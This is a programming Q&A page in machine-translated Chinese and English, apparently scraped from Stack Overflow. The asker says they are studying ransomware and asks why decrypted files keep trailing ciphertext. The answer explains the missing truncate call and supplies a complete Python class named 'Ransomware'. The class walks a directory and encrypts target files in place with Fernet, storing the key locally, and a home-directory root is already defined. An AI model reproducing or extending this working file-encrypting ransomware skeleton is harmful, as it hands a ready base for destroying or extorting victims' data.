Python cryptography.fernet 文件解密

Python cryptography.fernet file decrypt

我正在研究勒索软件以供学习。

所以我复制粘贴了this and edited it like this 但是当我加密和解密文本文件时,它会附加一个看起来像随机字符串的字符串。我该如何解决这个问题?

喜欢:

Hello, World!

Hello, World!DTYutnC1fZWc5gCxAnYJoiHOdvTCVYveZ8fhaPrpowQ7TH6afPz7o6E0igVbI2uan6YAjovzwOuRvm6gvi6Bg==

使用此密钥文件:

aDcv1CMBzK_hHisXwUKGp2EbG_eMfEg_sB14iOfmDBM=

问题是你先加密再解密。您的加密和解密功能工作正常问题是您总是寻求文件的开头来写入任何更改这将适用于加密并且如果明文和密文具有相同大小(无填充)则适用于解密) 但会将与密文大小不同的解密明文放在文件开头,并保持文件的其余部分不变,因此您需要截断密文的其余部分。

import os
from os.path import expanduser
from cryptography.fernet import Fernet


class Ransomware(object):
    def __init__(self):
        self.key = None
        self.cryptor = None
        self.file_ext_targets = ["txt"]  # Type of files, you're going to encrypt

    def generate_key(self):
        self.key = Fernet.generate_key()
        self.cryptor = Fernet(self.key)

    def read_key(self, keyfile_name):
        with open(keyfile_name, "rb") as f:
            self.key = f.read()
            self.cryptor = Fernet(self.key)

    def write_key(self, keyfile_name):
        print(self.key)
        with open(keyfile_name, "wb") as f:
            f.write(self.key)

    def crypt_root(self, root_dir, encrypted=False):
        for root, _, files in os.walk(root_dir):
            for f in files:
                abs_file_path = os.path.join(root, f)
                if not abs_file_path.split(".")[-1] in self.file_ext_targets:
                    continue
                self.crypt_file(abs_file_path, encrypted=encrypted)

    def crypt_file(self, file_path, encrypted=False):


        with open(file_path, "rb+") as f:
            _data = f.read()
            if not encrypted:
                # Encrypt
                print()
                data = self.cryptor.encrypt(_data)
                f.seek(0)
                f.write(data)

            else:
                data = self.cryptor.decrypt(_data)
                print(f"File content before encryption: {data}")
                f.seek(0)
                f.write(data)
                f.truncate()

sys_root = expanduser("~")
local_root = "."

keyfile = "./keyfile"

ransom = Ransomware()


def encrypt():
    ransom.generate_key()
    ransom.write_key("keyfile")
    ransom.crypt_root(local_root)


def decrypt():
    ransom.read_key(keyfile)
    ransom.crypt_root(local_root, encrypted=True)
encrypt()
decrypt()